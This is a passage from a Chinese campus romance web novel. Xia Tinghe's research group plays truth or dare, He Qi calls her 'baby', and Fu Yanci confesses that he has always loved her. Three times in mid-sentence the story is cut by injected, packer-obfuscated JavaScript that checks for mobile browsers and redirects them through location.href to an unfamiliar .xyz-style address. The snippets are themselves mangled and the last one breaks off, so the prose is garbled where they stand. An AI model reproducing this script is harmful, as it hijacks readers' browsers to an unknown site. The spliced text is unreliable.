夏汀禾一时间有些无措：“……你看到了？” “嗯，他在门前瞎走的时候我就看到了。”祝朝月叹了口气，“果然还是第一次谈恋爱，搞这么深情。” 她嘴上虽然是这么说，但夏汀禾能听出来祝朝月是有些小雀跃的，这让她也松了一口气，至少自己没推测错。 他们还是相互喜欢的。 尽管夏汀禾暂时还不太能理解这种喜欢却要分开的感情。 冒着热气的炒饭很快被送上了桌，祝朝月边用勺子拌着酱料，边对着夏汀禾说：“对了，刚刚那男生是你的同学吗？” 她指的是林越。 “算是吧。”虽然不是一个专业的，但好歹是一个学校的。 祝朝月好奇地问：“感觉他有点奇怪诶，反应那么大，我在前台都听到了。很宝贝那个文件夹么？” 夏汀禾回想了一下，摇了摇头：“我也不知道。” - 从奶茶店出来，林越第一件事就是给付言辞打电话赔罪。 他言简意赅直奔主题：“言辞，和你说个事，你别紧张——我刚不小心把你文件夹不小心弄地上去了。” 付言辞没在意，本来就是他拜托林越拿出来的，一路上碰到意外也正常：“没事。” “没弄脏。”林越又说了一句。 付言辞：“嗯。” 林越：“是夏汀禾捡起来的。” 付言辞：“……” 停滞了几秒，付言辞感觉到心上似乎有什么在跳动，那样急促。 缓了好一会儿，他才找回自己声音似的开口：“她有发现什么？” 林越：“哦，那倒没有。我马上从她手里抽回来了。” 付言辞沉默了许久。 文件夹是高中参加物理竞赛时的奖品之一，他和夏汀禾都获了奖，只是去的晚了，领奖时只拿到了剩下的两件同款。 刻着他们的名字，他们俩却拿错了。 付言辞不记得当时是谁先拿的了。 但后来谁也没说想再换回来。 60. 称呼 走回去的路上，夏汀禾眼前再一次浮现出在奶茶店里的场景。 画面最后锁定在文件夹上，落到角落里凸起的那一块。 一刹那，她恍然记起，自己也有一个一样的。 是高中时获得的奖品。 她意外拿了付言辞的，但大抵是觉得麻烦或者根本不重要，付言辞没来找她换回去，夏汀禾便私心留在了自己身边。 她舍不得用，一直放在家里的柜子里保存着。 林越可能是意外买了同款。 夏汀禾想，那付言辞呢？他拿了自己的，还会留着么？ 也许只是看过一两眼吧。 心里想着事情，夏汀禾低着头走得快，也没察觉到旁边咖啡厅有人透过玻璃窗看向了她。 陈航约了简辰出来，本想问一下他进课题组的感受，但看到夏汀禾后，又倏地转了话题。 他把咖啡推到了一边，问简辰：“所以你是和夏汀禾在一个组的？你们也见过面了吧？” 提起一个组这件事，简辰就记起不久前夏汀禾叫他不满意可以退出的事。 他没想到一个女生胆子还挺大，尤其是夏汀禾这样看起来温顺的。 他当时直接愣住了，差点忘记了该怎么回怼，但不管夏汀禾怎么说，他就是看不起这种脚踏几只船的。 简辰应了一声：“嗯，她性格反差还挺大的。” “是吗？”陈航笑了下，“那可能你不是她的菜，对你不感兴趣。她对我可没这样。” 简辰有些无语：“你知道她是什么人，也还聊得下去？” 陈航伸了个懒腰：“玩玩嘛，毕竟她长得也不错。” “而且你知道——”陈航停顿了下，意味深长地说：“付言辞喜欢她吗？” 简辰一愣。 他对于付言辞的为人是十分了解的，沉稳可靠，公认的学神，对人也真诚。所以更加不会往付言辞喜欢夏汀禾的方向去想。 在他眼里，夏汀禾是配不上付言辞的。 不过转而想起当时自己在会上怼了夏汀禾后，付言辞拦住他维护的场景，简辰又觉得不是不可能。 “但你之前不说，夏汀禾和他表白了，他拒绝了么？” “这你就不知道了吧。”陈航直接告诉了他，“付言辞家里穷，他亲爹很早死了，家里只有他妈和一个几岁的妹妹，现在都在租老破小的房子住，全家就指望着他呢。” “付言辞其实挺会装的，死要面子的一个人。他怎么可能把这些事让自己喜欢的女生知道？” 简辰更加不可置信了：“他家里条件是这样的吗？以前好像都没听说过。” 陈航耸了耸肩：“所以啊，说他挺会装的。每次我们宿舍一起出去吃饭，都是我和另外一个室友请的，我们俩看他没什么钱，也不好意思和他AA。” “毕竟是同学嘛，还是得顾及点感情。” 简辰没说话了。 - 在课题组开了几次会之后，夏汀禾慢慢和组内的人熟了起来。尤其是谢临，从一开始就对她这个师妹格外热情。 夏汀禾刚进组时确实也很感激师兄的照顾，但等付言辞回来了，知道谢临和他关系也很好后，她便慢慢地有意疏远了些。 因为总能时不时地从谢临口中听到关于他的消息。 夏汀禾并不想再了解付言辞和他喜欢的人的事。 这只会让她觉得更加难堪。 她和付言辞即便在一个组里，也有很少交流。 又一次会议，办公室内的空调坏了。 正好又赶上骤然降温的时候，夏汀禾好巧不巧又坐在了风口处，每次外面一有风吹过来，她都忍不住地缩一下手臂。 夏汀禾本想趁着中间休息的十几分钟回趟宿舍拿件厚外套，但转念一想，反正也就两个半小时的会，忍一下也就开完了。 直到明教授在上面详细讲解一个实验时，夏汀禾专注地看着，突然间没忍住打了个喷嚏。 一会议室的人都看了过来。 坐对面的谢临道：“汀禾那边是不是挺冷的？要不和我换个座位吧，我这边还好。” 一位师姐也热心，往旁边看了看，拎起旁边椅子上的一件棉服：“诶，这谁的外套？不介意的话，给汀禾穿一下？” 组内的人关系好，借件衣服穿也不觉得稀奇。 只是师姐说完后，回应的人是付言辞。 他是看着夏汀禾说的：“是我的，不介意。” 但夏汀禾并不想。 她迅速起了身，温声道：“我和师兄换一个座位可以了，谢谢。” 谢临看了看付言辞，还没来得及说点什么挽救一下，夏汀禾已经走了过来。 他一时间有种抢了师弟心上人的错觉。 换了位置后，他便迅速在私底下给付言辞发了消息：【失误了失误了，早知道我就不说话了】 付言辞回了句“没事”，心里却开始有些失控了。 她接受贺祁帮她拉拉链、穿衣服，却不肯碰自己的外套。 是有意在避开他？还是已经对贺祁产生了感情？ 付言辞找不出答案，只能在一团乱麻中开完了一整场会。 结束后，等明教授一走，师姐立刻提议去团建聚餐。 毕竟是第一次，组内没人拒绝。尽管夏汀禾以前很少参与这类社交活动，她也不好意思说不。 于是一行人便热热闹闹地去了校外的轰趴馆。 馆内可以玩的项目很多，台球、保龄球、射击等各种运动以及桌游、卡牌之类的常见团建游戏应有尽有。 本就是临时起意的决定，也没什么拘束，进去后自己想玩什么便挑着去。 夏汀禾选了个人少的保龄球。 她以前没接触过，觉得新鲜。正好旁边也有教练，简单学了一些技巧，便开始上手玩了几局。 不断试错再改进，等到一次意外全部击倒时，她高兴得不行，立即给贺祁拍了照片发过去分享。 夏汀禾：【我只学了半小时】 贺祁直接给她打了电话过来，开口第一句话就是笑着说：“这么厉害？要夸你是保龄球小天才么？” 被他这么一夸，夏汀禾不好意思起来，不知道该怎么回应，抿了下唇小声嘟囔：“……什么呀。” 贺祁也知道她害羞了，说话的尾音也跟着上扬了些：“第一时间和我分享的？” “嗯。”夏汀禾眨了眨眼，又问：“你不喜欢吗？” 她怕贺祁会觉得有些烦，毕竟他们最近的联系太频繁了，有时候聊的次数都超过了她和室友之间的。 贺祁轻笑了下：“我什么时候说不喜欢了？要是觉得烦我会直接打电话给你么？” 他只是想知道，他是不是她的首要选择对象，是她第一个想到的人。 话题又开始被他带偏了，夏汀禾没接她这句了，红着脸告诉她自己是在和课题组的师兄师姐团建。 贺祁听着她说完，直接问：“结束后我去接你？” 轰趴馆就在离学校几百米的地方，走路几分钟就到了，根本也用不着接，但是夏汀禾莫名地没拒绝，只温声问他：“你今晚上没课了吗？” “昂。”贺祁懒洋洋地应了一声，笑着道：“所以可以陪你一晚上。” 什么一晚上…… 他总是说些奇奇怪怪的话。 夏汀禾看了看周围，生怕有人听见了他这些容易让人浮想联翩的话。 她没理会贺祁后面那句，只道：“我等下把地址发给你。” 担心再继续下去，他又会开始说些奇怪的，夏汀禾随便应付了两句就迅速挂了他的电话。 他们两个单独相处时，夏汀禾已经慢慢习惯了他讲话的风格，但对着电话和在人多的地方，她还是没办法克服。 感觉到脸颊更红了些，夏汀禾捂了捂脸，又接着玩了两局保龄球收回心思。 她一个人在这边玩得正起劲，忽地听到谈话声靠近。 夏汀禾直起身来看过去。 付言辞和谢临正朝这边走来。 和付言辞对视了眼，她想放下球去其他地方，谢临却正好叫住了：“汀禾，你怎么一个人在这边玩？我们一起呀。” 上次和付言辞一起打羽毛球的场景历历在目，她很不好意思地找借口拒绝了。 谢临第一时间扭头去看付言辞。 好在付言辞看上去还算正常，也没说什么，只淡淡道：“来比一局么？师兄。” 谢临为了安慰他，答应了。 不过半小时后，他就发现自己错了。 这小子也是半点不留情面，当着众多师姐师妹的面，局局都全中，把他打了个落花流水，碾压式胜出。 谢临最后不得不搭着付言辞的肩膀，小声凑到他耳边说：“好歹给师兄点面子。” 付言辞这才反应过来自己在做什么。 - 等到各自都玩得差不多了时，师姐召集了所有人聚在一起，提议来最后一个游戏结束今天的团建。 有人问：“什么游戏？” 师姐想了下：“真心话大冒险，行不？” “每次不管什么活动都玩这个，没意思。” 师姐努力说服：“哎呀，这是经典的嘛，而且也就当是破冰游戏了。我们稍微改一下规则，所有人轮流来，用小程序随机抽来决定是真心话和大冒险的内容，这样可比之前有意思多了。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15933985|170573||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一群人最后还是同意了，绕成圈坐在了沙发上。 夏汀禾从知道要玩这个游戏开始，就有些忐忑不安。 她之前和室友玩过几次，每次运气不好都抽的大冒险，内容包括但不限于去隔壁寝室要零食、对着走廊上的人说一些羞耻的话等等，因为被坑过太多次，夏汀禾后来再也不肯参与。 好在她坐在中间的位置，从头开始轮也有差不多二十分钟的准备时间。 夏汀禾认认真真看前面人的惩罚，听到都是些喝几杯啤酒、唱首歌这些算不上太为难的，她又松了口气。 也是。 他们都是第一次举行组内团建，师姐也不会挑一些太大胆的。 直到轮到夏汀禾前面的谢临时。 师姐突然提议：“哎，感觉这个小程序上的惩罚都挺没意思的，我都要听累了。要不换一个吧？” 谢临的死党这时候第一个站出来：“用我手机上的这个！保证有趣！” 夏汀禾突然有不好的预感。 谢临一脸无奈地笑：“好好好，就专门弄我是吧？” 大家也都是秉持着活跃气氛的心态，因此谢临也没拒绝：“行吧，你们开心就好。” 他接了递过来的手机，随机抽了一个。 【大冒险：对教授发三条消息，内容由现场的其他成员决定】 这个内容一出来，组内的一行人瞬间炸开了锅。 “谢临，我先说哈，你给明老师发——抱歉老师，今天要交的论文初稿没写。明天也不会写。后天懒得写。” 谢临：“……” “这个还不够挑衅啊。这样这样——请问老师上次干活的劳务费什么时候发？不是说发了之后再开始下一个吗？要是不发也行，您能帮忙写一下我的实验报告吗？” 谢临：“…………” 后面的几个越说越离谱，谢临这时候一点也不怀疑自己是和一群什么人在做同门了。 不过为了游戏效果，他最后还是挑了应该不会被骂得太惨的第一个发过去。 一发完，他立即打字解释是在玩游戏。 好在明教授被他们这样捉弄了几次，也有经验了，没放在心上，只是认真地回复了：【游戏归游戏，初稿明天不交，你就找别的老师看吧】 谢临痛苦地捂住了脸。 一群人更是笑得不行。 激起了兴趣，接着便有人问：“这个里面的惩罚真挺有意思的。下一个到谁了？到谁了？快点快点。” 逃是逃不过去了，夏汀禾只好深吸了一口气，默默地举了下手。 看到是她后，几个师兄师姐安慰说：“是汀禾呀，你和明教授还不熟，等下碰到和他有关的我们会跳过的，不会为难你的，放心吧。” 夏汀禾信了，捧着游戏手机点了下抽牌。 心脏疯狂跳动着。 直到卡牌内容显示出来：【大冒险：发消息给任一异性，让他/她称呼你为宝宝说一句话】 夏汀禾：“……” 她果然还是不该玩这个游戏。 其他人没觉得有难度，安慰她说：“这个还好，也没限定是什么异性，随便发一条给你的好朋友，让他回一句就好啦。” 夏汀禾翻了翻列表，这时候发现可以发的好像也就只有一个人。 所有人的目光都聚集在自己身上，夏汀禾也不好意思让人等着，心一横，就给贺祁发了消息过去。 夏汀禾：【你可以用一个称呼叫我吗？】 其实她心里祈祷着贺祁没看消息不回。 但很不巧，“叮”一声响，贺祁和以往一样秒回了她：【什么？】 夏汀禾硬着头皮和他解释：【就是……你可以叫我宝宝吗？】 她恨不得立即解释这是在玩游戏，但事先规定好了的，必须等完成惩罚环节才可以解释，夏汀禾只能这么煎熬地等着。 这一次，隔了半分钟，贺祁都没有回她。 夏汀禾倏地觉得有些闷。 明明知道是在玩游戏，但就是挺不舒服的。 又等了一会儿，夏汀禾已经打算和其他人道歉了：“抱歉，我朋友他……” “叮——” 又是一声响。 贺祁给她发了条语音过来。 周围的人比夏汀禾还激动：“哇哦，是语音诶！该不会是特地说的吧？” “有戏有戏，这肯定是对汀禾师妹有意思的吧？” “快点开，快点开！我要在线吃瓜！” 夏汀禾闭了闭眼，在一片寂静中点开了。 听筒里先是传来一声轻笑，而后贺祁清澈的声音慢慢清晰起来： “团建结束后要我去接你吗，宝宝？” 61. 心上人 夏汀禾的脸彻底红透了。 尽管已经差不多猜到了贺祁会说什么，但心脏还是控制不住地狂跳。 其余人没听过贺祁平时说话，但夏汀禾一下就能听出来，这是他刻意压低了的音色。 笑声听着更是让人耳边酥酥麻麻的。 周围再次一阵喧闹。 “好的，我是声控，我死了。” “一听就是个大帅比啊，能不能让他也叫我一声宝宝？” “欸欸欸，够了啊，别再为难别人了。我也没别的想说的，只是想问一下——可以把他微信号推给我吗？” …… 都是在互相打趣而已，很快就轮到了下一位，又开始了新的热闹。 夏汀禾后面的已经几乎没有参与进去了，她拿着手机和贺祁解释了是在玩游戏。 不知道这人是不是暂时有事去了，这会儿反倒又没回她了。 团建是在八点结束的。 夏汀禾跟着人流往外走。 兴许是为了配合整体的风格，轰趴馆的通道也设置得像是游戏世界一样，弯弯曲曲，出去的路要绕好几个弯。 夏汀禾在这时候想起来给贺祁发定位过去，告诉他这边结束了。 现在一看到这人的名字，脸上的热度就又冲了上来。 夏汀禾把头发扎了起来，散散热。 手上忙活着，脚步也就慢了下来，在她扎了个低马尾后想追上去，身后倏地有人叫住了她。 平静且毫无波澜的声音陡然在走廊里响起，夏汀禾被吓了一跳。 往后一看，才发现是付言辞。 室内温度高，他没穿那件棉服外套，只套了一件灰色的毛衣，更显得清瘦些。 付言辞朝她走过来，夏汀禾立即就收起了手机。 然而他跟在夏汀禾的身旁，却也没再说什么，弄得夏汀禾混在人群里都有些不自在起来。 一路无言到了出口，即将迈下阶梯时，他才忽地开口问：“要一起回学校吗？” 夏汀禾眨了眨眼。 她已经不会再过多的幻想，只把这当作礼貌性地问候。 “……不了，我可能还要在校外待一会儿。”夏汀禾有些磕绊地解释了下。 以为听到她说完这句，付言辞便会点头离开。 但他停住了脚。 付言辞侧过脸来，看着她，淡淡地问：“你和他已经这么熟了么？” 夏汀禾反应了好一会儿才意识到“他”指的是贺祁。 付言辞是从什么时候开始知道贺祁的？ 夏汀禾无意去探究这点，但也觉得自己没必要向付言辞解释她和贺祁之间的关系。 夏汀禾故意绕开了他想问的：“你是说谢临师兄吗？” “师兄之前帮过我，我们关系还可以不是很正常吗？” 这应该是她第一次没有正面回答付言辞的话。 以往暗恋的时候，夏汀禾总是会绞尽脑汁地再和他多说几句，想把自己所有知道的都告诉他，以此来让付言辞和自己多待一会儿。 片刻也好。 付言辞知道她是在有意回避，心里更加不是滋味儿了些。 贺祁对她来说已经这么重要了吗？ 对他都需要隐瞒？ 夏汀禾没看他。她低着头的，脸蛋小而白净，还泛着点红晕，这和上学期末时他带着她来羽毛球馆那次的神情一样。 只是好像又有哪里不同。 之前那次付言辞也知道她是害羞和紧张。 但是这次。 等夏汀禾抬眸和他对视时，付言辞才清楚地意识到 ——她很平静。 ——她看向自己的眼里没有那么多喜欢了。 两个人没有僵持多久，匆匆赶上来的谢临打破了寂静的局面。 “诶，你们俩站这儿干吗？不回学校了？他们都走了？” 这时候夏汀禾收到贺祁的消息。 贺祁：【到了】 她只好和谢临解释了一句自己有事，暂时不回去便迅速走了出去。 贺祁把车停在了轰趴馆的对面。 本来也没多远，他和夏汀禾说了在对面后，便在车里坐着等她过来，顺便在歌单里添了几首她喜欢的。 只是一抬头，他紧接在夏汀禾身后看到了付言辞。 贺祁“咔哒”一下解了安全带，起身开了门直接从驾驶位上下来。 他迈开腿朝她走过去。 等到夏汀禾身边了，贺祁自然而然接过了她手上的挎包，朝她靠近了些低头问：“玩得开心么？” 夏汀禾以为付言辞他们早就走了，并没有注意到身后的目光。 她只顾着回贺祁的话，点了点头：“嗯，里面的项目还挺多的。” 熟练地开门坐进了车内，夏汀禾开始在手机上搜晚上可以去哪里逛，等了会儿却发现贺祁没动。 她偏过头去看，想问他怎么不开车。 结果一扭头就对上了贺祁的目光。 本来就是晚上，又坐在没开顶灯的车内，四周环境更暗了些，衬托得他的眼眸更深邃了些。 夏汀禾这时感觉出来有点不一样。 那是很强烈直白的占有欲。 夏汀禾不由得蜷缩了下手指，但她并没有往后退。 片刻后，她看着贺祁只手撑在方向盘上，身体往她这边靠了靠，问： “那你最喜欢玩什么？宝宝。” 停顿了几秒，夏汀禾听清楚了他说了什么，脸再次红了起来。 她习惯性地捶了他一下，又气又羞道：“不准这么叫我！” 这个举动其实也是有一点在掩饰自己的内心。 原来只是说这个而已。 但她刚刚好像在心里期待着他会做点什么。 怕被看出异样，夏汀禾胡乱催促着他：“快点开车。” 贺祁笑着看她凑过来，拿自己的手握上方向盘。他任由夏汀禾摆弄着自己。 在她从储物柜里拿车钥匙时，贺祁这时背着夏汀禾缓缓升起车窗，阻挡了外面的视线。 让付言辞看到零星的一点就够了。 和心上人的互动，他还没这么大方到什么都让人知道。 - 接连在室内待了几个小时，夏汀禾觉得有些闷，想去空旷的地方走走，两个人便开车去了海边。 夜晚的海和白天的给人的感觉迥然不同。 是静谧的、休闲缓慢的。 又是沉寂的秋天，海边店铺里的客人和老板似乎都变得温柔起来，面对面坐在柜台上慢悠悠地聊着天。 吹了一会儿海风，贺祁问她：“买点吃的？” 之前在轰趴馆光顾着玩去了，完全忘记了晚饭这回事，现在被他一问，夏汀禾开始觉得有了饿意。 她左右看了看，瞥见一家烤肉店。 “那家店可以吗？”她指了下，又说：“但我还想再吹一下风。” 店里的人都吃得面红耳赤的，夏汀禾几乎能想象出来里面的热气。 贺祁点了点头：“行，我先过去点。” 等他走了，夏汀禾开始沿着沙滩漫无目的地散步。 听着海浪声，心里慢慢平静下来，她又想起了自己刚才对付言辞说的话。 她是不是不应该那样？ 付言辞最近变得和以前有些不同，夏汀禾隐约能感觉他有意无意地想接近自己，但是原因呢？ 他不是都拒绝她了吗？为什么还要这样对她？ 夏汀禾不得不承认她现在仍旧保持着以前的一些习惯，比如不想让他失望、本能地想要凑近他。 她已经在努力克制了。 尤其每次一想到他已经有喜欢了的人，夏汀禾就会更加主动地制止自己的行为。 不知不觉在海边走了许久，直到贺祁打电话过来问她去哪了，夏汀禾才收起思绪，往回走。 进了店里坐下后，贺祁先给她递了一杯热的柠檬红茶。 微甜的茶带点茉莉柠檬的香味，是她喜欢的。 “走哪去了？都看不到人了。”贺祁边拿着烧烤夹烤肉边问她。 被他盯着，夏汀禾莫名有些结巴：“没去哪……就是去沙滩那边逛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15944326|170573||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了逛。” “嗯。”贺祁应了一声，又看了眼她，十分若无其事地问：“晚上是你们课题组开完会一起去团建的？” 夏汀禾还没来得及说话，又听到他开口道：“我看你出来的时候，和付言辞在聊天。他和你是一个课题组的么？” 他是笑着问的，语气也十分漫不经心，似乎只是随意一提，聊天而已，但夏汀禾总觉得哪不对。 夏汀禾组织了一下语言，才回他：“……是一个组。不过他比我早进去，大一就去了。” “噢。”贺祁看起来对这件事的兴趣不大，后续也没再问了，只往她盘子里夹肉，让她多吃点。 一顿饱餐完后，已经是十点。 两个人在周边宽阔的马路上散了会儿步，贺祁就开车送她回学校了。 还没上宿舍楼，楼下的宿管阿姨突然叫住了夏汀禾。 “诶，同学等一下，你是不是夏汀禾？” 一脸懵地转过身，夏汀禾点了点头：“有什么事吗阿姨？” 宿管阿姨笑得合不拢嘴：“刚刚有个男同学来找你，等了老半天呢，刚走，挺帅一小伙呢。” 会来学校找她的？ 夏汀禾第一反应是表哥，但接着记起上次和蔺澈聊天时，他说自己还在老家待着。 自然也不可能会跑到这边来看她。 没让夏汀禾猜下去，她的手机接到了消息。 是付言辞发过来了的。 【回宿舍了吗？方便出来一趟么？】 心脏猛地一跳。 夏汀禾突然开始有些慌乱。 付言辞为什么要约自己出去？ 缓了半分钟，夏汀禾把猜测推到了可能是需要和她说点有关课题组的事，这才松了口气。 她告诉付言辞自己就在宿舍楼下。 那边很快回了她：【稍等】 几分钟后，付言辞过来了。 宿管阿姨笑着指了下他：“对对，就是这个同学，等你老半天了。” 付言辞朝阿姨点头说了谢谢。 两个人走到了旁边的树下。 这时候大部分学生都已经在准备洗漱休息，宿舍楼里传来哗啦啦的流水声，混着嬉笑打闹的嘈杂声响，显得他们这儿格外安静。 付言辞没说话，夏汀禾于是先开了口：“……有什么事吗？” 她已经提前预想了付言辞会说什么，但看着他的脸，却又开始不确定起来。 付言辞的神情并不放松。 夏汀禾也跟着紧张了起来。 直到听见他问：“你刚刚是和贺祁出去了？” 这次他直接指明了名字。 夏汀禾愣了愣，依旧不喜欢他这样询问她的私事的语气。 她皱了下眉，刚才的悸动反而消失了：“你有什么事就直接说吧。” 付言辞依旧看着她：“你和他认识应该还没有一年吧？知道他是什么样的人吗？” 她和什么样的人接触还不需要别人来决定，夏汀禾更加不舒服了些：“你为什么这么关心我的事？” 付言辞的行为在她看来十分莫名其妙。 就算是出于同学之间的担心，她也不喜欢。 “因为是你我才会关心。”付言辞的语气开始激烈起来，“别人我什么时候在意过？” 夏汀禾深吸了一口气：“你应该把这些放在你女朋友身上，而不是我。” 付言辞快速回了她：“我没有女朋友。” 夏汀禾第一次觉得自己竟然和他说不清楚，气一上来，一股脑全部说了出来：“那就去关心你喜欢的人。我已经被你拒绝了，也因为你哭过很多次，我讨厌以前的自己，也不想再回到那样的时候……” 付言辞直接切断了她的话：“但我喜欢的人就是你。” 夏汀禾愣住了。 他的眼里满是痛苦，连说出来的话都是那么艰难。 付言辞弯腰抱住了她，下巴轻抵在她的肩膀上，手臂虚虚地环绕着她，那样隐忍又克制。 “夏汀禾，我一直都喜欢你。” “也只喜欢你。” 62. 等待 我也喜欢你。 这句话夏汀禾已经忘记自己曾经幻想过多少次了，以至于现在猛然听到，她都有些恍惚起来。 她曾无数次在人群中望向付言辞、一点一点地记住他所有的喜好、故意绕远路假装和他顺路回家、可能因为他随意的一句话就不断否定又改变自己…… 夏汀禾数不清自己到底因为他偷偷哭过多少回，日记本里又写了多少和他有关的事。 但现在，付言辞就在她面前和她表白。 他抱着她的，夏汀禾都能感受到从他身上传过来的热量。 很温暖，很舒服。 只是夏汀禾却不知道该怎么回应了。 他来得太晚了。 她的喜欢好像已经耗尽了。 许久之后，夏汀禾强撑着让自己清醒些，对他说：“付言辞，我……我现在没办法给你回应。” 她的话仍旧是有些混乱不清的。 付言辞没强求，只说：“我知道。” “那就之后再说吧。”夏汀禾推了推他，想要回去。 只是一察觉到她的动作，付言辞便搂得更紧了些，用近乎祈求的语气说：“再抱一下，可以吗？别推开我。” 夏汀禾不知道他今晚是不是遭受了什么事情，情绪变动才这么大。 她不知所措，只能任由他又抱了几分钟。 - 接到贺祁的电话时，梁浩正在宿舍里打游戏打得起劲。 他看都没看直接点了接通，眼睛还盯着游戏屏幕，懒懒地应了一声：“不好意思打游戏呢，哪位啊？” 直到那边传来一句：“出去玩么？” 声音听起来很平静，但又藏着一些情绪。 梁浩这才猛地摘了电竞耳机。 “现在？”梁浩看了眼时间，“已经快十一点了，哥。” 贺祁“嗯”了一声，只问他：“上次你说的那家酒吧，去不去？” 这倒是勾起了梁浩的兴趣，之前他问了好几遍贺祁都不肯和他一块去。 梁浩边收拾东西边问：“你开车过来了？” 贺祁：“嗯，在校门口。” “行，给我几分钟。” 梁浩飞速拿了手机出门。 上了车后，梁浩好奇问他：“怎么今天想起来去了？你最近不是都在自己家住么？” 梁浩本来还挺奇怪贺祁怎么突然要回家住。贺祁和父母的关系算不上好，一直以来都在尽量避免和家里人的接触，这点梁浩还是知道的。 不过后来了解到是为了更方便去夏汀禾学校陪她，梁浩也就瞬间觉得没什么了。 很正常。 喜欢一个人总是想和她时刻待在一起的。 “诶，不是。”没等贺祁回答，梁浩突然想起来：“你下午的时候不是还说今晚上要去接夏汀禾的么？” 贺祁加快了车速，窗边的风不断涌进来。梁浩努力辨别了许久，才听清楚他回答说：“接过了，十点送她回去的。” 实在受不了秋天的风，梁浩伸手摁了锁，把车窗升了上去。 耳边一下子清净了。 他看向贺祁。 这人依旧是一副随性所欲的模样，微垂着眼眸直视前方，不知道在想着什么，只是没像平常一样脸上带着笑。 表面看起来越是平静，实际上内心就越是不稳。 不过梁浩倒是也习惯了。 贺祁本身也并非是循规蹈矩的人。 他记得第一次和贺祁说上话，就是在高中的一次晚自习。 那天正好月考完对答案，梁浩估了一下分，发现考得一塌糊涂。总结来说就是蒙的全错，会的也因为粗心扣了不少分。 心情不好在位置上怎么也坐不住，于是他索性趁着同学都讨论着试题，和同桌糊弄了一句去洗手间便溜出了教室。 梁浩是想直接回家打游戏的，但没想到一出教室就碰上了贺祁。 贺祁当时是他们班的学委，成绩好性格好，无论是对付老师还是同学都很有一套。 梁浩和他不熟，第一反应是怕他打小报告，尤其是在贺祁问他“去哪”之后。 梁浩本想也对着他编一个理由，但莫名地看着他那张笑起来平易近人的脸，就把真话说出了口：“啊，没去哪，不想上晚自习，随便溜达一下。” 一说完，梁浩恨不得立即捂嘴。 但贺祁却笑了笑，道：“那走呗。” 两个人直接从门卫室光明正大地溜了出去，在校外吃了一顿烧烤才回来。 回来的事还是梁浩提议的，毕竟是第一次开溜，总怕被老师和家长发现。 贺祁却笑着说：“怕什么？劳逸结合而已。” 梁浩真听进去了他的话，以为他跟自己一样，考得不好所以出来散心。 直到成绩出来时，贺祁仍是全年级第一，他反而退步了一百多名。那天开溜的事还不知道被谁看到了，梁浩被班主任拉出去当着办公室所有老师的面训了一节课。 贺祁因为凭借一己之力拉高了整个班的理综分数而逃过了一劫。 梁浩从此再也不相信他。 但这以后，两个人的关系也莫名好了起来。 梁浩也慢慢了解到贺祁并非和他原以为的一样。 贺祁会通宵打游戏、会因为心情不好翘课去校外玩、会对人不耐烦冷脸叫人滚…… 他第一眼总让人觉得青春肆意，但真正接触了才会知道他其实对很多事都漠不关心，大多数时候都是以旁观者的视角去看到周围的人，偶尔插手也只是因为不得已罢了。 不过没办法，人家天生就是学神的命，再怎么折腾成绩也不会掉。因为长得帅，被表白的次数也数不胜数。 面对追求者，贺祁一般情况下都会幽默地拒绝，除非对方很难缠，他才会冷下脸来把人吓跑。 夏汀禾是例外。 梁浩是从她那才知道，原来贺祁对自己喜欢的人还是会主动的。 - 到了酒吧，梁浩终于忍不住问出口：“所以你该不会是……” 他停顿了下，试探性地说出口：“和夏汀禾表白了然后被拒绝了吧？” 一直没说话的贺祁有点被他气笑了：“想什么呢。” 他知道夏汀禾对他是有喜欢的，只是还没到只属于他一个人的地步。 从今晚上的问话开始，贺祁就知道她还对付言辞抱有希望。 她越是假装不经意地略过或者解释，就越说明这一点。 随便找了个卡座坐下，贺祁懒散地往沙发上一靠，反问他：“你被分手的前几天不是还要死不活的，怎么最近又恢复正常了？” “这其实还多亏了夏汀禾。”梁浩打了个响指，“她让我想通了。” “想通了什么？”贺祁坐直了些，目光看向他。 梁浩抿了一口酒，坦率地说：“喜欢也需要等待，有时候分开后反而能想清楚很多事情。” 贺祁笑了下。 这永远不会发生在他身上。 他想要的，从来不会等。 - 夏汀禾一晚上没睡好觉，耳边来来回回都是付言辞说的那几句话。 第二天去上课时，她仍旧还走了一会儿神。 直到蔺妤给她发了消息过来，问她下午有空没，正好出差到A市也就打算顺便过来学校见她。 这件事一下子就占据了夏汀禾的全部心思。 大一开学时，蔺妤有事没能送她来报道，大学期间也一直没找到机会过来。 这是头一回。 夏汀禾欣喜地给了回复：【嗯，下午没课】 妈妈：【好，知道了。我大概十二点半点到，从哪个门去你宿舍那近？】 夏汀禾主动说了去接她，事情也就这么定了下来。 一上午的课很快结束，夏汀禾迅速收拾东西起身。 宁苒先叫住了她：“汀妹，刚刚班长在群里发消息，让我们过去领一下篮球赛要用的应援物。” 要不是她提起，夏汀禾都快忘了，他们校队过几天有联谊赛要打，他们班正好被抽中当观众。 只是要是现在去拿东西，怕是到时候要让蔺妤在校外等上一会儿了。 夏汀禾不太好意思地求宁苒：“苒苒你可以帮我拿一下吗？我妈妈过来学校这边了，我想去接一下她。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 